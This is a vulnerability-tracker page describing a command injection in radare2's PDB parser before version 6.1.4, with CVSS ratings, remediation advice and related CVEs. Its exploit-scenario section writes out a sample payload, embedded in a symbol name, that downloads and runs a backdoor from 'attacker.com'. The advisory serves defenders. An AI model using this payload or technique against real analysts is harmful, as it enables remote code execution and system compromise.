Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDeliver malicious PDB file
-
DeliveryVictim opens in radare2
-
ExploitExecute 'idp' command
-
ExecutionInject commands via symbol names
-
PersistExecute arbitrary OS commands
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to open a malicious PDB file in radare2 and explicitly execute the 'idp' command to parse PDB symbols, which triggers the print_gvars() function containing the vulnerability. This is a common workflow for reverse engineers analyzing Windows binaries with debugging symbols but is not automatic upon file opening. The PDB file must be crafted with newline characters embedded in symbol names followed by valid radare2 command syntax including shell execution operators. Radare2 must be configured to allow shell command execution (default configuration). Attack is limited to local execution context (AV:L) where the victim has already obtained or been delivered the malicious file, excluding remote network-based exploitation. User interaction is mandatory (UI:A) as the 'idp' command requires deliberate analyst action. No authentication or elevated privileges are required (PR:N). The vulnerability affects radare2's core PDB parsing functionality across all platforms, so exploitation is not limited to specific operating systems, though PDB files are primarily associated with Windows development environments making Windows reverse engineering scenarios most likely. |
| Impact | Real-world risk is moderate despite the 8.4 CVSS score due to requiring user interaction (UI:A) and local attack vector (AV:L). The vulnerability requires a victim to deliberately open and analyze a malicious PDB file using radare2's 'idp' command, which limits exploitation to targeted attacks against reverse engineers, malware analysts, and security researchers. However, publicly available exploit code significantly lowers the barrier to weaponization. The attack complexity is low (AC:L) with no privileges required (PR:N), meaning any attacker can craft the malicious file. The high impact ratings (VC:H/VI:H/VA:H) are justified as successful exploitation grants arbitrary command execution with full victim user privileges, enabling data theft, malware installation, or lateral movement. Without EPSS data, exploitation probability assessment relies on attacker motivation: reverse engineering tools are niche targets, but their users often handle untrusted binaries making social engineering plausible. The public technical disclosure at blog.calif.io with 0-day discovery details increases likelihood of copycat exploitation. Priority should be HIGH for organizations using radare2 in malware analysis or binary research workflows, MEDIUM for general development environments where radare2 may be installed but rarely used for analyzing untrusted PDB files. |
| Exploit ScenarioDerived | An attacker discovers a malware researcher analyzing suspicious binaries using radare2. The attacker crafts a seemingly legitimate Windows executable with an embedded malicious PDB file where symbol names contain newline characters followed by radare2 command injection payloads like '!cmd.exe /c curl attacker.com/backdoor.exe -o %temp%\m.exe && %temp%\m.exe'. The attacker delivers this binary via security research forums, malware sample sharing platforms, or targeted phishing as a 'new ransomware variant' or 'interesting APT sample'. When the researcher opens the binary in radare2 and executes the 'idp' command to load PDB symbols for analysis, the injected commands execute with the researcher's privileges, downloading and running the attacker's backdoor. Publicly available exploit code at blog.calif.io demonstrates proof-of-concept exploitation mechanics. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 23, 2026
Command injection in radare2 PDB parser (versions before 6.1.4) enables arbitrary OS command execution when users analyze malicious PDB files. Publicly available exploit code exists. Attackers craft PDB files with newline characters in symbol names to inject radare2 commands during flag renaming operations, which then execute OS commands via radare2's shell operator when victims run the 'idp' command. CVSS 8.4 reflects local attack vector requiring user interaction, though EPSS data not available. Patch released in version 6.1.4 with detailed technical disclosure at blog.calif.io showing 0-day discovery process.
RemediationAI
Upgrade to radare2 version 6.1.4 or later, which contains input sanitization fixes in the PDB parser's print_gvars() function as documented in GitHub PR #25731 (https://github.com/radareorg/radare2/pull/25731). Installation instructions available at radare2 official repository. If immediate upgrade is not feasible, implement the following compensating controls with noted limitations: (1) Restrict analysis of PDB files to trusted sources only, though this reduces radare2's utility for malware analysis workflows; (2) Execute radare2 in sandboxed environments (containers, VMs with limited network access) when analyzing untrusted PDB files, which contains but does not prevent exploitation within the sandbox; (3) Disable or restrict radare2's shell execution operator through configuration if workflow permits, though this breaks legitimate automation scripts; (4) Monitor radare2 process execution for suspicious child processes or network connections using EDR tools, providing detection but not prevention. None of these workarounds fully mitigate the vulnerability; upgrading to 6.1.4 is the only complete solution. Review security advisory at blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero for technical details and exploit indicators.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
radare2 is an open-source reverse engineering framework used for binary analysis, disassembly, and debugging. The vulnerability exists in the PDB (Program Database) parser component, specifically in the print_gvars() function that processes Microsoft PDB debugging symbol files. PDB files contain debugging information including symbol names, which radare2 parses to create internal flags for analysis. The root cause is CWE-78 (OS Command Injection) stemming from unsanitized interpolation of user-controlled data (PDB symbol names) into radare2's flag rename command. When symbol names contain newline characters, they break out of the intended command context and inject arbitrary radare2 commands. Since radare2 supports a shell execution operator for running OS commands, this command injection escalates to arbitrary code execution with the privileges of the radare2 process. The affected CPE cpe:2.3:a:radareorg:radare2 covers all versions prior to 6.1.4 across all platforms where radare2 operates (Linux, Windows, macOS).
Know when Radare2 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
radare2 prior to 6.1.4 contains a command injection vulnerability in the PDB parser's print_gvars() function that allows attackers to execute arbitrary commands by crafting a malicious PDB file with newline characters in symbol names. Attackers can inject arbitrary radare2 commands through unsanitized symbol name interpolation in the flag rename command, which are then executed when a user runs the idp command against the malicious PDB file, enabling arbitrary OS command execution through radare2's shell execution operator.
Executive ViewAI
radare2 versions before 6.1.4 contain a command injection vulnerability in the PDB parser that allows attackers to execute arbitrary operating system commands when users analyze malicious PDB files. This affects security researchers, reverse engineers, and malware analysts who rely on radare2 for binary analysis, potentially compromising their systems and research integrity when processing untrusted samples.
Apply vendor patch to radare2 version 6.1.4 or later. Until patched: disable or sandbox radare2 PDB analysis functionality; implement file origin verification and only process PDB files from trusted, verified sources; run radare2 in isolated environments with minimal system privileges.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32 function of libr/arch/p/nds32/nds32-dis.h
An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32_fpu function of libr/arch/p/nds32/nds32-d
Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated critical severity (CVSS 9.8), th
OS command injection in radare2-mcp (the Model Context Protocol server that bridges the radare2 reverse-engineering fram
Out-of-bounds Read in GitHub repository radareorg/radare2 prior to 5.7.0. Rated critical severity (CVSS 9.1), this vulne
Out-of-bounds Read in r_bin_ne_get_entrypoints function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated cri
Out-of-bounds read in `r_bin_ne_get_relocs` function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated critic
Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated high severity (CVSS 8.8), this v
Command injection in radare2's PDB parser (versions <6.1.4) enables arbitrary command execution when analysts process ma
In radare 2.0.1, a memory corruption vulnerability exists in store_versioninfo_gnu_verdef() and store_versioninfo_gnu_ve
In radare2 2.0.1, an integer exception (negative number leading to an invalid memory access) exists in store_versioninfo
In radare2 2.0.1, an integer exception (negative number leading to an invalid memory access) exists in store_versioninfo
EUVD-2026-25119
GHSA-3xv9-7r7g-8q6f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB